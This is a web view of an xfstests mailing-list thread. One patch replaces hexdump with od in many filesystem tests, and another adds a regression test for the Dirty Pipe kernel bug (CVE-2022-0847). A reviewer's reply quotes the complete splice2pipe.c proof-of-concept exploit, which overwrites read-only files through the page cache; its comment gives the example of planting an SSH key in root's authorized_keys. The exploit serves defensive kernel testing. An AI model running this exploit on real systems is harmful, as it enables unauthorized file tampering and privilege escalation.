Skip to contentSkip to conversation

xfstests: hexdump and CVE-2022-0847

PATCH In review Zorro Lang 2 participants 4 messages Apr 11, 2022

lore
Share & tools
lore

Zorro Lang

author
#0 lore raw

v3 cover xfstests: hexdump and CVE-2022-0847

Thanks review points from Dave and Darrick. This patchset contains 2 patches:
[PATCH v3 1/2] xfstests: replace hexdump with od command
[PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847

[v3 1/2] Fix generic/404 failures on un-4k block size. Refer to:
https://lore.kernel.org/fstests/20220410171926.aanoxq2ybool5we5@zlang-mailbox/T/#u

[v3 2/2] Nothing changed

Thanks,
Zorro

== Messages from original V2 patch ==

[v2 1/2] did below changes:
1) Change g/404, remove od/hexdump command, generate md5 directly
2) Change g/042, remove -v option of od/hexdump
3) As Dave has given this V1 patch a "reviewed-by", so add it

[v2 2/2] did below changes:
1) remove _cleanup(), turn to use default _cleanup function
2) add "rm -f $localfile" before testing start

== Messages from original V1 patch ==
I've sent the V2 [2/2] last week[1], but due to the [2/2] hasn't been merged and the [1/2] will affect [2/2]. So I send these two patches in one patchset this time. Just please note, the [2/2] is the last version.

[1]
https://lore.kernel.org/fstests/[email protected]/

author
#1 lore raw

PATCH v3 1/2 xfstests: replace hexdump with od command

The "od" is one of the most fundamental commands in GNU/Linux and most Unix-like systems. So we nearly always can count on it, don't need to check if it's installed.

The "hexdump" isn't such fundamental as "od", some systems don't install it by default. And as "od" nearly can replace all functions of "hexdump", so let's use an unified command "od" to do the hexdump job in fstests cases.

---
 common/rc             |  12 +
 tests/ceph/002        |   2 +-
 tests/ceph/002.out    |   8 +-
 tests/f2fs/001        |   4 +-
 tests/f2fs/001.out    |  16 +-
 tests/generic/029     |  12 +-
 tests/generic/029.out |  68 +--
 tests/generic/030     |  12 +-
 tests/generic/030.out |  48 +-
 tests/generic/031     |   4 +-
 tests/generic/031.out |  16 +-
 tests/generic/032     |   2 +-
 tests/generic/032.out |   4 +-
 tests/generic/033     |   2 +-
 tests/generic/033.out |   4 +-
 tests/generic/042     |   4 +-
 tests/generic/086     |   2 +-
 tests/generic/086.out |  14 +-
 tests/generic/404     |   2 +-
 tests/generic/404.out | 996 +++++++++++++++++++++---------------------
 tests/generic/536     |   4 +-
 tests/generic/567     |   4 +-
 tests/generic/567.out |  16 +-
 tests/generic/612     |   4 +-
 tests/generic/612.out |   8 +-
 tests/generic/639     |   2 +-
 tests/generic/639.out |   4 +-
 27 files changed, 643 insertions(+), 631 deletions(-)
common/rc +12 -0
index 17629801..ad60fad1 100644
@@ -4906,6 +4906,18 @@ _require_kernel_config()
 	_has_kernel_config $1 || _notrun "Installed kernel not built with $1"
 }
 
+_hexdump()
+{
+	# Hex format address and data output
+	od -Ax -t x1z $*
+}
+
+# Disable hexdump, turn to use "od" command in _hexdump
+hexdump()
+{
+	_fail "Use _hexdump(), please!"
+}
+
 init_rc
 
 ################################################################################
tests/ceph/002 +1 -1
index ac3d65b5..02f66842 100755
@@ -59,7 +59,7 @@ $XFS_IO_PROG -c "truncate 0" $dest >> $seqres.full 2>&1
 # copy the whole file over
 $XFS_IO_PROG -c "copy_range -s 0 -d 0 -l $(($objsz * 3)) $file" "$dest"
 
-hexdump $dest
+_hexdump $dest
 
 #success, all done
 status=0
tests/ceph/002.out +4 -4
index 6f067250..f7f1c0ba 100644
@@ -1,8 +1,8 @@
 QA output created by 002
-0000000 6161 6161 6161 6161 6161 6161 6161 6161
+000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61  >aaaaaaaaaaaaaaaa<
 *
-0400000 6262 6262 6262 6262 6262 6262 6262 6262
+400000 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62  >bbbbbbbbbbbbbbbb<
 *
-0800000 6363 6363 6363 6363 6363 6363 6363 6363
+800000 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63  >cccccccccccccccc<
 *
-0c00000
+c000000
tests/f2fs/001 +2 -2
index e2429e46..1141a63e 100755
@@ -45,9 +45,9 @@ $XFS_IO_PROG -c "truncate 96" -c "pwrite -S 0x58 8192 4096" $testfile 2>&1 \
 	| _filter_xfs_io_error
 
 echo "==== check data contents ===="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
-hexdump -C $testfile
+_hexdump $testfile
 
 rm $testfile
 rm $dummyfile
tests/f2fs/001.out +8 -8
index 997aa5b2..8a11d3f4 100644
@@ -7,15 +7,15 @@ fallocate: No space left on device
 ==== change i_size & write data ====
 pwrite: No space left on device
 ==== check data contents ====
-00000000  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  >XXXXXXXXXXXXXXXX<
 *
-00000020  58 58 58 58 58 58 58 58  00 00 00 00 00 00 00 00  |XXXXXXXX........|
-00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000020 58 58 58 58 58 58 58 58 00 00 00 00 00 00 00 00  >XXXXXXXX........<
+000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-00000060
-00000000  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+000060
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  >XXXXXXXXXXXXXXXX<
 *
-00000020  58 58 58 58 58 58 58 58  00 00 00 00 00 00 00 00  |XXXXXXXX........|
-00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000020 58 58 58 58 58 58 58 58 00 00 00 00 00 00 00 00  >XXXXXXXX........<
+000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-00000060
+000060
tests/generic/029 +6 -6
index 751e4f65..8b75c02a 100755
@@ -39,10 +39,10 @@ $XFS_IO_PROG -t -f \
 $testfile | _filter_xfs_io
 
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 rm -f $testfile
 sync
@@ -64,10 +64,10 @@ $XFS_IO_PROG -t -f \
 $testfile | _filter_xfs_io
  
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 # third case is the same as second case, just with non-1k aligned offsets and
 # sizes.
@@ -84,10 +84,10 @@ $XFS_IO_PROG -t -f \
 $testfile | _filter_xfs_io
  
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 status=0
 exit
tests/generic/029.out +34 -34

98 lines not on this page · raw message

tests/generic/030 +6 -6
index 7c263702..c467bb74 100755
@@ -44,10 +44,10 @@ $XFS_IO_PROG -t -f \
 $testfile | _filter_xfs_io
 
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 rm -f $testfile
 sync
@@ -73,10 +73,10 @@ $XFS_IO_PROG -t -f \
 $testfile | _filter_xfs_io
 
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 # third case is the same as the first, but this time on unaligned byte
 # boundaries rather than block boundaries. This mimics the exact mmap write
@@ -109,10 +109,10 @@ $XFS_IO_PROG -t -f \
 $testfile | _filter_xfs_io
 
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 status=0
 exit
tests/generic/030.out +24 -24

76 lines not on this page · raw message

tests/generic/031 +2 -2
index 313ce9ff..cbb2fc34 100755
@@ -34,10 +34,10 @@ $XFS_IO_PROG -f \
 $testfile | _filter_xfs_io
 
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 status=0
 exit
tests/generic/031.out +8 -8
index 194bfa45..3669222e 100644
@@ -4,16 +4,16 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
 wrote 63394/63394 bytes at offset 133228
 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
 ==== Pre-Remount ===
-00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-0001f860  00 00 00 00 00 00 00 00  00 00 00 00 cd cd cd cd  |................|
-0001f870  cd cd cd cd cd cd cd cd  cd cd cd cd cd cd cd cd  |................|
+01f860 00 00 00 00 00 00 00 00 00 00 00 00 cd cd cd cd  >................<
+01f870 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  >................<
 *
-0002fdc0
+02fdc0
 ==== Post-Remount ==
-00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-0001f860  00 00 00 00 00 00 00 00  00 00 00 00 cd cd cd cd  |................|
-0001f870  cd cd cd cd cd cd cd cd  cd cd cd cd cd cd cd cd  |................|
+01f860 00 00 00 00 00 00 00 00 00 00 00 00 cd cd cd cd  >................<
+01f870 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  >................<
 *
-0002fdc0
+02fdc0
tests/generic/032 +1 -1
index b3d13896..3302c1ee 100755
@@ -85,7 +85,7 @@ wait
 
 # clear page cache and dump the file
 _scratch_cycle_mount
-hexdump $SCRATCH_MNT/file
+_hexdump $SCRATCH_MNT/file
 
 status=0
 exit
tests/generic/032.out +2 -2
index ca5376dc..0d8097f2 100644
@@ -1,5 +1,5 @@
 QA output created by 032
 100 iterations
-0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd
+000000 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  >................<
 *
-0100000
+100000
tests/generic/033 +1 -1
index 9dd854f2..d3b926e6 100755
@@ -48,7 +48,7 @@ for i in $(seq 4096 8192 $endoff); do
 done
 
 _scratch_cycle_mount
-hexdump $file
+_hexdump $file
 
 status=0
 exit
tests/generic/033.out +2 -2
index 419d8313..7539b9a3 100644
@@ -1,4 +1,4 @@
 QA output created by 033
-0000000 0000 0000 0000 0000 0000 0000 0000 0000
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-0010000
+010000
tests/generic/042 +2 -2
index 9419606f..dbc65e33 100755
@@ -57,9 +57,9 @@ _crashtest()
 
 	# We should /never/ see 0xCD in the file, because we wrote that pattern
 	# to the filesystem image to expose stale data.
-	if hexdump -v -e '/1 "%02X "' $file | grep -q "CD"; then
+	if od -An -tx1 $file | grep -q "CD"; then
 		echo "Saw stale data!!!"
-		hexdump $file
+		_hexdump $file
 	fi
 
 	$UMOUNT_PROG $mnt
tests/generic/086 +1 -1
index c5023081..509c4f38 100755
@@ -49,7 +49,7 @@ echo 3 > /proc/sys/vm/drop_caches
 $XFS_IO_PROG -c "pwrite -S 0xdd 67584 2048" $test_file >> $seqres.full 2>&1
 
 # On a faulty ext4 oxbb data will be missing, overwritten by zeroes.
-hexdump -C $test_file
+_hexdump $test_file
 
 # success, all done
 status=0
tests/generic/086.out +7 -7
index 3c0cc838..7fd24802 100644
@@ -1,14 +1,14 @@
 QA output created by 086
-00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-00001000  aa aa aa aa aa aa aa aa  aa aa aa aa aa aa aa aa  |................|
+001000 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa  >................<
 *
-00001800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+001800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-00010000  bb bb bb bb bb bb bb bb  bb bb bb bb bb bb bb bb  |................|
+010000 bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb  >................<
 *
-00010800  dd dd dd dd dd dd dd dd  dd dd dd dd dd dd dd dd  |................|
+010800 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd  >................<
 *
-00011000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+011000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-00020000
+020000
tests/generic/404 +1 -1
index f1e8b0a8..939692eb 100755
@@ -110,7 +110,7 @@ for (( block=3; block<=500; block++ )); do
 	# or blocks are in correct order, this commit:
 	#   2b3864b32403 ("ext4: do not polute the extents cache while shifting extents")
 	#
-	md5=`hexdump -e '16/1 "%_p" "\n"' $testfile | md5sum`
+	md5=`od -An -c $testfile | md5sum`
 	printf "#%d %s\n" "$block" "$md5"
 done
 
tests/generic/404.out +498 -498

997 lines not on this page · raw message

tests/generic/536 +2 -2
index c3b1d38f..986ea1ee 100755
@@ -47,9 +47,9 @@ _scratch_shutdown -f
 # second file should also be zero filled.
 _scratch_cycle_mount
 echo file.1 | tee -a $seqres.full
-hexdump $SCRATCH_MNT/file.1 | tee -a $seqres.full | grep ab
+_hexdump $SCRATCH_MNT/file.1 | tee -a $seqres.full | grep ab
 echo file.2 | tee -a $seqres.full
-hexdump $SCRATCH_MNT/file.2 | tee -a $seqres.full | grep ab
+_hexdump $SCRATCH_MNT/file.2 | tee -a $seqres.full | grep ab
 
 status=0
 exit
tests/generic/567 +2 -2
index 3f5907c3..40a97d2d 100755
@@ -39,10 +39,10 @@ $XFS_IO_PROG -t -f \
 $testfile | _filter_xfs_io
 
 echo "==== Pre-Remount ==="
-hexdump -C $testfile
+_hexdump $testfile
 _scratch_cycle_mount
 echo "==== Post-Remount =="
-hexdump -C $testfile
+_hexdump $testfile
 
 status=0
 exit
tests/generic/567.out +8 -8
index 8ca73fa9..0e826ed3 100644
@@ -2,18 +2,18 @@ QA output created by 567
 wrote 12288/12288 bytes at offset 0
 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
 ==== Pre-Remount ===
-00000000  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  >XXXXXXXXXXXXXXXX<
 *
-00000800  59 59 59 59 59 59 59 59  59 59 59 59 59 59 59 59  |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59  >YYYYYYYYYYYYYYYY<
 *
-00002800  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+002800 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  >XXXXXXXXXXXXXXXX<
 *
-00003000
+003000
 ==== Post-Remount ==
-00000000  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  >XXXXXXXXXXXXXXXX<
 *
-00000800  59 59 59 59 59 59 59 59  59 59 59 59 59 59 59 59  |YYYYYYYYYYYYYYYY|
+000800 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59 59  >YYYYYYYYYYYYYYYY<
 *
-00002800  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+002800 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58  >XXXXXXXXXXXXXXXX<
 *
-00003000
+003000
tests/generic/612 +2 -2
index dd17944d..9c023a65 100755
@@ -47,7 +47,7 @@ echo "Reflink copy from b to a"
 cp --reflink=always $DIR/b $DIR/a
 
 echo "Contents of b"
-hexdump -C $DIR/b
+_hexdump $DIR/b
 
 # Cycle mount to get stuff out of cache
 _test_cycle_mount
@@ -62,7 +62,7 @@ $XFS_IO_PROG -c "pwrite -S 0xa 0k -b 4k 4k" \
 $XFS_IO_PROG -c fsync $DIR/a
 
 echo "Contents of b now:"
-hexdump -C $DIR/b
+_hexdump $DIR/b
 
 # success, all done
 status=0
tests/generic/612.out +4 -4
index 237a9638..6f36cca9 100644
@@ -4,15 +4,15 @@ wrote 2097152/2097152 bytes at offset 0
 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
 Reflink copy from b to a
 Contents of b
-00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-00200000
+200000
 Write to a
 wrote 4096/4096 bytes at offset 0
 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
 wrote 1048576/1048576 bytes at offset 4096
 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec)
 Contents of b now:
-00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >................<
 *
-00200000
+200000
tests/generic/639 +1 -1
index c30f7644..abb91c80 100755
@@ -33,7 +33,7 @@ $XFS_IO_PROG -c "pwrite -q 32 32" $testfile
 
 # dump what we think is in there
 echo "The result should be 64 bytes filled with 0xcd:"
-hexdump -C $testfile
+_hexdump $testfile
 
 status=0
 exit
tests/generic/639.out +2 -2
index 9bf0bac9..ee5ad91a 100644
@@ -1,5 +1,5 @@
 QA output created by 639
 The result should be 64 bytes filled with 0xcd:
-00000000  cd cd cd cd cd cd cd cd  cd cd cd cd cd cd cd cd  |................|
+000000 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd  >................<
 *
-00000040
+000040
Signature · 1 line
2.31.1
author
#2 lore raw

PATCH v3 2/2 fstests: test dirty pipe vulnerability issue of CVE-2022-0847

In reply to Zorro Lang

Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an uninitialized "pipe_buffer.flags" variable. The bug cause a file can be overwritten even if a user/process is not permitted to write it. It's fixed by 9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer").

Cc Max Kellermann <[email protected]>
---
 .gitignore            |   1 +
 src/Makefile          |   2 +-
 src/splice2pipe.c     | 158 ++++++++++++++++++++++++++++++++++++++++++
 tests/generic/999     |  48 +++++++++++++
 tests/generic/999.out |   9 +++
 5 files changed, 217 insertions(+), 1 deletion(-)
 create mode 100644 src/splice2pipe.c
 create mode 100755 tests/generic/999
 create mode 100644 tests/generic/999.out
.gitignore +1 -0
index 11405bd2..5f24909e 100644
@@ -125,6 +125,7 @@ tags
 /src/runas
 /src/seek_copy_test
 /src/seek_sanity_test
+/src/splice2pipe
 /src/splice-test
 /src/stale_handle
 /src/stat_test
src/Makefile +1 -1
index 88877ac9..24aef09b 100644
@@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
 	dio-invalidate-cache stat_test t_encrypted_d_revalidate \
 	attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
 	fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
-	detached_mounts_propagation ext4_resize t_readdir_3
+	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
 	      btrfs_crc32c_forged_name.py
src/splice2pipe.c new file +158 -0

158 lines not on this page · raw message

tests/generic/999 new file +48 -0

48 lines not on this page · raw message

tests/generic/999.out new file +9 -0
new file mode 100644
index 00000000..a142909b
@@ -0,0 +1,9 @@
+QA output created by 999
+Test privileged user:
+000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  >................<
+*
+001000
+Test unprivileged user:
+000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  >................<
+*
+001000
Signature · 1 line
2.31.1
Reviewed-by on v3 2/2
#3 lore raw

Re: [PATCH v3 2/2] fstests: test dirty pipe vulnerability issue of CVE-2022-0847

Quoted 8 lines · Zorro Lang

Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an uninitialized "pipe_buffer.flags" variable. The bug cause a file can be overwritten even if a user/process is not permitted to write it. It's fixed by 9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer").

Cc Max Kellermann <[email protected]>

Still looks ok...

--D

Quoted 272 lines
---
 .gitignore            |   1 +
 src/Makefile          |   2 +-
 src/splice2pipe.c     | 158 ++++++++++++++++++++++++++++++++++++++++++
 tests/generic/999     |  48 +++++++++++++
 tests/generic/999.out |   9 +++
 5 files changed, 217 insertions(+), 1 deletion(-)
 create mode 100644 src/splice2pipe.c
 create mode 100755 tests/generic/999
 create mode 100644 tests/generic/999.out
.gitignore +1 -0
index 11405bd2..5f24909e 100644
@@ -125,6 +125,7 @@ tags
 /src/runas
 /src/seek_copy_test
 /src/seek_sanity_test
+/src/splice2pipe
 /src/splice-test
 /src/stale_handle
 /src/stat_test
src/Makefile +1 -1
index 88877ac9..24aef09b 100644
@@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
 	dio-invalidate-cache stat_test t_encrypted_d_revalidate \
 	attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
 	fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
-	detached_mounts_propagation ext4_resize t_readdir_3
+	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
 	      btrfs_crc32c_forged_name.py
src/splice2pipe.c new file +158 -0
new file mode 100644
index 00000000..bd33ff67
@@ -0,0 +1,158 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * author: Max Kellermann <[email protected]>
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+
+/**
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(int p[2])
+{
+	if (pipe(p)) {
+		perror("pipe failed");
+		abort();
+        }
+
+	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
+	static char buffer[4096];
+
+	/* fill the pipe completely; each pipe_buffer will now have
+	   the PIPE_BUF_FLAG_CAN_MERGE flag */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		write(p[1], buffer, n);
+		r -= n;
+	}
+
+	/* drain the pipe, freeing all pipe_buffer instances (but
+	   leaving the flags initialized) */
+	for (unsigned r = pipe_size; r > 0;) {
+		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
+		read(p[0], buffer, n);
+		r -= n;
+	}
+
+	/* the pipe is now empty, and if somebody adds a new
+	   pipe_buffer without initializing its "flags", the buffer
+	   will be mergeable */
+}
+
+int main(int argc, char **argv)
+{
+	if (argc != 4) {
+		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
+		return EXIT_FAILURE;
+	}
+
+	/* dumb command-line argument parser */
+	const char *const path = argv[1];
+	loff_t offset = strtoul(argv[2], NULL, 0);
+	const char *const data = argv[3];
+	const size_t data_size = strlen(data);
+	int page_size = sysconf(_SC_PAGESIZE);
+	if (page_size == -1)
+		page_size = 4096;
+
+	if (offset % page_size == 0) {
+		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
+		return EXIT_FAILURE;
+	}
+
+	const loff_t next_page = (offset | (page_size - 1)) + 1;
+	const loff_t end_offset = offset + (loff_t)data_size;
+	if (end_offset > next_page) {
+		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
+		return EXIT_FAILURE;
+	}
+
+	/* open the input file and validate the specified offset */
+	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
+	if (fd < 0) {
+		perror("open failed");
+		return EXIT_FAILURE;
+	}
+
+	struct stat st;
+	if (fstat(fd, &st)) {
+		perror("stat failed");
+		return EXIT_FAILURE;
+	}
+
+	if (offset > st.st_size) {
+		fprintf(stderr, "Offset is not inside the file\n");
+		return EXIT_FAILURE;
+	}
+
+	if (end_offset > st.st_size) {
+		fprintf(stderr, "Sorry, cannot enlarge the file\n");
+		return EXIT_FAILURE;
+	}
+
+	/* create the pipe with all flags initialized with
+	   PIPE_BUF_FLAG_CAN_MERGE */
+	int p[2];
+	prepare_pipe(p);
+
+	/* splice one byte from before the specified offset into the
+	   pipe; this will add a reference to the page cache, but
+	   since copy_page_to_iter_pipe() does not initialize the
+	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
+	--offset;
+	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0) {
+		perror("splice failed");
+		return EXIT_FAILURE;
+	}
+	if (nbytes == 0) {
+		fprintf(stderr, "short splice\n");
+		return EXIT_FAILURE;
+	}
+
+	/* the following write will not create a new pipe_buffer, but
+	   will instead write into the page cache, because of the
+	   PIPE_BUF_FLAG_CAN_MERGE flag */
+	nbytes = write(p[1], data, data_size);
+	if (nbytes < 0) {
+		perror("write failed");
+		return EXIT_FAILURE;
+	}
+	if ((size_t)nbytes < data_size) {
+		fprintf(stderr, "short write\n");
+		return EXIT_FAILURE;
+	}
+
+	return EXIT_SUCCESS;
+}
tests/generic/999 new file +48 -0
new file mode 100755
index 00000000..111dde06
@@ -0,0 +1,48 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2022 Red Hat, Inc.  All Rights Reserved.
+#
+# FS QA Test No. 999
+#
+# Test for the Dirty Pipe vulnerability (CVE-2022-0847) caused by an
+# uninitialized  "pipe_buffer.flags" variable, which fixed by:
+#   9d2231c5d74e ("lib/iov_iter: initialize "flags" in new pipe_buffer")
+#
+. ./common/preamble
+_begin_fstest auto quick
+
+# real QA test starts here
+_supported_fs generic
+_require_test
+_require_user
+_require_chmod
+_require_test_program "splice2pipe"
+
+localfile=$TEST_DIR/testfile.$seq
+rm -f $localfile
+
+# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
+# permission on it
+$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
+chmod 0644 $localfile
+# Test privileged user (xfstests generally run with root)
+echo "Test privileged user:"
+$here/src/splice2pipe $localfile 1 "AAAAAAAABBBBBBBB"
+# Part of 0xff will be overwritten if there's CVE-2022-0847 bug
+_hexdump $localfile
+
+# Create a file with 4k 0xff data, then make sure unprivileged user has readonly
+# permission on it
+$XFS_IO_PROG -f -t -c "pwrite 0 4k -S 0xff" $localfile >> $seqres.full 2>&1
+chmod 0644 $localfile
+# Copy splice2pipe to a place which can be run by an unprivileged user (avoid
+# something likes /root/xfstests/src/splice2pipe)
+cp $here/src/splice2pipe $tmp.splice2pipe
+# Test unprivileged user's privilege escalation
+echo "Test unprivileged user:"
+su ${qa_user} -c "$tmp.splice2pipe $localfile 1 AAAAAAAABBBBBBBB"
+_hexdump $localfile
+
+# success, all done
+status=0
+exit
tests/generic/999.out new file +9 -0
new file mode 100644
index 00000000..a142909b
@@ -0,0 +1,9 @@
+QA output created by 999
+Test privileged user:
+000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  >................<
+*
+001000
+Test unprivileged user:
+000000 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  >................<
+*
+001000
Signature · 1 line
2.31.1